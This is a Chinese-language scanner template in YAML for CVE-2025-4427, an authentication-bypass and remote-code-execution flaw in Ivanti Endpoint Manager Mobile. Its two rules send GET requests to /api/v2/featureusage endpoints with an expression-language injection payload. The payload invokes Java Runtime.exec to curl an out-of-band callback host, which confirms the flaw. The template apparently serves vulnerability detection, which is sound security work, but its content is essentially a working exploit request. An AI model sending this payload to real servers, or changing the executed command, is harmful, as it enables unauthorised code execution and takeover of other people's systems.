CVE-2025-4427: Ivanti Endpoint Manager Mobile 远程命令执行漏洞

id: CVE-2025-4427

info:
  name: Ivanti Endpoint Manager Mobile 远程命令执行漏洞
  author: avic123
  severity: critical
  verified: true
  description: |-
    漏洞都是由于Ivanti Endpoint Manager Mobile的API组件未能正确验证输入的数据而造成的漏洞。攻击者可以利用这个漏洞绕过身份认证，并通过受影响的API执行任何代码，对系统安全造成严重损害
  reference:
    - https://cn-sec.com/archives/4341196.html
  tags: cve,cve2025,ivanti,rce
  created: 2025/08/11

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: GET
      path: /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{oobHTTP}}')%7d
    expression: >-
      response.status == 400 && oobCheck(oob, oob.ProtocolHTTP, 3)

  r1:
    request:
      method: GET
      path: /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{oobHTTP}}')%7d
    expression: >-
      response.status == 400 && oobCheck(oob, oob.ProtocolHTTP, 3)

expression: r0() || r1()